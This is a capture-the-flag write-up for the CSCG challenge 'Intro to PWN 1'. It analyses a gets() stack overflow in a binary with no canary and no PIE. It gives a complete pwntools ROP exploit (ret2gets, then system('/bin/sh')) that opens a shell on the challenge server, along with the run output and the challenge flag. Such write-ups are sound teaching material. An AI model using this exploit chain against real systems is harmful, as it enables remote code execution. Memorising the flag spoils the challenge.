Intro 1
CTF Write-up: Intro to PWN 1 - ROP Ret2Syscall (gets -> system)
Challenge: Intro to PWN 1 (116 points)
Description: A basic pwn challenge where the direct win function is patched. Hints suggest building on basic overflow concepts.
Attachments: intro-pwn-1.zip (containing vuln.c, the intro-pwn binary)
Connection: ncat --ssl-verify 191378e46f47ff8f0f8253da-1024-intro-pwn-1.challenge.cscg.live 1337
Analysis
Source Code (
vuln.c):The function
vulncontains a classic Stack Buffer Overflow vulnerability. It usesgetsto read into achar name[16]buffer without any size limit.A
winfunction exists (0x4011d5) but the description explicitly states it's useless (system("echo no cat /flag for you")). We cannot simply redirect execution to it.
Binary Protections (
checksec):Partial RELRO: Standard, not a significant hindrance here.No canary found: Critical. This means we can overwrite the saved return address on the stack without triggering a security check.NX enabled: Critical. The stack is marked as non-executable, preventing us from injecting and running shellcode directly on the stack.No PIE: Critical. The binary's addresses (functions, gadgets,.bsssection) are static. We don't need an information leak to know where things are located.
Disassembly (
gdb):The
namebuffer is 16 bytes (0x10) below the saved frame pointer (rbp).The standard x64 function prologue means the saved return address (
rip) is located0x10(buffer size) +0x8(savedrbp) =0x18(24) bytes after the start of thenamebuffer.
Vulnerability: Stack Buffer Overflow -> Control RIP
The unbounded gets(name) allows us to write past the 16-byte name buffer. Since there is no stack canary, we can overwrite the saved rbp and, more importantly, the saved return address (rip) stored on the stack. By carefully crafting our input, we can replace the original return address with an address of our choosing, hijacking the program's control flow when the vuln function returns.
Attack Plan: ROP (Return-Oriented Programming)
Since NX prevents executing shellcode on the stack and ret2win is not viable, we must use ROP. Our goal is to execute system("/bin/sh") to get a shell on the server.
Target Function: We need to call the
systemfunction. Its address in the Procedure Linkage Table (PLT) is static because PIE is disabled. We can find this usingobjdump -d intro-pwn | grep system@pltor letpwntoolsfind it (elf.plt['system']).Target Argument:
systemrequires one argument (passed via theRDIregister on x64): a pointer to the command string (/bin/sh).Controlling
RDI: We need a ROP gadget to load an address intoRDI. The standard gadget for this ispop rdi; ret. We search the binary for this sequence usingROPgadgetorpwntools. The address0x4012b3contains this gadget.Getting the
/bin/shString: The string/bin/shdoesn't exist within the binary itself. We need to write it into memory at a predictable location.We can leverage the
getsfunction (also available via its PLT entry,elf.plt['gets']) within our ROP chain.We choose a writable memory location, such as the
.bsssection (e.g.,0x404080), whose address is static (No PIE).
ROP Chain Construction:
Send 24 bytes of padding to fill the
namebuffer and overwrite the savedrbp.Gadget 1: Address of
pop rdi; ret(0x4012b3).Argument 1: Address of the target buffer in
.bss(0x404080). This address will be popped intoRDI.Function 1: Address of
gets@plt. This call will read input from the user (us) and write it to the location specified byRDI(our.bssaddress). We will send/bin/sh.Gadget 2: Address of
pop rdi; ret(0x4012b3) again. This executes aftergetsreturns.Argument 2: Address of the
.bssbuffer (0x404080), which now contains/bin/sh\x00. This address will be popped intoRDI.Function 2: Address of
system@plt. This callssystemwithRDIpointing to our/bin/shstring, giving us a shell.
Exploit Script (Python w/ pwntools)
#!/usr/bin/env python3
from pwn import *
import re # For flag extraction later
# --- Setup ---
# Load the binary context
context.binary = elf = ELF("./intro-pwn")
context.arch = 'amd64'
# context.log_level = 'debug' # Enable for detailed ROP chain/interaction view
# --- Constants and Addresses ---
OFFSET = 24 # Padding bytes to reach RIP
BSS_WRITE_ADDR = 0x404080 # Chosen writable address in .bss section
POP_RDI_RET = 0x00000000004012b3 # Gadget: pop rdi; ret
GETS_PLT = elf.plt['gets'] # Address of gets in PLT
SYSTEM_PLT = elf.plt['system'] # Address of system in PLT
# --- Connection ---
# p = process(elf.path) # Uncomment for local testing
HOST = '191378e46f47ff8f0f8253da-1024-intro-pwn-1.challenge.cscg.live'
PORT = 1337
p = remote(HOST, PORT, ssl=True) # Connect to remote server
# --- Build ROP Chain ---
# Use pwntools ROP module for cleaner chain building
rop = ROP(elf)
# 1. call gets(&bss_addr) to read "/bin/sh" into memory
rop.call(GETS_PLT, [BSS_WRITE_ADDR])
# 2. call system(&bss_addr) which now holds "/bin/sh"
rop.call(SYSTEM_PLT, [BSS_WRITE_ADDR])
# Construct final payload: Padding + ROP Chain
payload = b'A' * OFFSET + rop.chain()
log.info("ROP Chain:\n" + rop.dump()) # Print the constructed chain
# --- Interaction ---
# Receive the initial prompt
log.info("Receiving initial prompt...")
p.recvuntil(b"What is your name?\n")
# Send the overflow payload containing the ROP chain
log.info("Sending ROP payload...")
p.sendline(payload)
# First part of ROP chain executes: gets(&bss_addr)
# Send "/bin/sh" string (null-terminated) which gets written to BSS_WRITE_ADDR
log.info("Sending '/bin/sh' to gets()...")
p.sendline(b"/bin/sh\x00")
# Second part of ROP chain executes: system(&bss_addr) -> Shell!
log.success("Payload sent, switching to interactive mode...")
p.interactive() # Hand over control to user for shell interactionExecution and Result
Running the exploit script successfully overflowed the buffer, executed the ROP chain, wrote /bin/sh into the .bss section via gets, and then called system with the address of that string, resulting in a shell on the remote server.
[*] '/home/kali/Desktop/intro-pwn-1 (1)/intro-pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[+] Opening connection to 191378e46f47ff8f0f8253da-1024-intro-pwn-1.challenge.cscg.live on port 1337: Done
[*] Loading gadgets for '/home/kali/Desktop/intro-pwn-1 (1)/intro-pwn'
[*] ROP Chain:
0x0000: 0x4012b3 pop rdi; ret
0x0008: 0x404080 BSS section to write to (.bss)
0x0010: 0x401060 gets
0x0018: 0x4012b3 pop rdi; ret
0x0020: 0x404080 address of "/bin/sh" in .bss
0x0028: 0x401080 system
[*] Receiving initial prompt...
[*] Sending ROP payload...
[*] Sending '/bin/sh' to gets()...
[+] Payload sent, switching to interactive mode...
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x12@\x00\x00\x00\x00\x00\x80@\x00\x00\x00\x00\x00`\x10@\x00\x00\x00\x00\x00\xb3\x12@\x00\x00\x00\x00\x00\x80@\x00\x00\x00\x00\x00\x80\x10@\x00\x00\x00\x00!
I have a present for you: 50015
$ ls <-- Commands entered in the interactive shell
bin
boot
dev
etc
flag
home
intro-pwn
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ynetd
$ cat flag <-- Reading the flag
CSCG{5om3t1m35_y0u_c4nt_533_th3_f0r35t_f0r_th3_tr335}$
[*] Got EOF while reading in interactiveFlag: CSCG{5om3t1m35_y0u_c4nt_533_th3_f0r35t_f0r_th3_tr335}
Conclusion
This challenge demonstrated a classic stack buffer overflow exploitation technique using Return-Oriented Programming (ROP) to bypass NX protection. The absence of stack canaries and PIE simplified the exploitation. The key step, beyond a simple ret2system, was to incorporate a call to gets within the ROP chain (ret2gets) to first write the needed /bin/sh string into a known memory location before calling system.
Last updated
Was this helpful?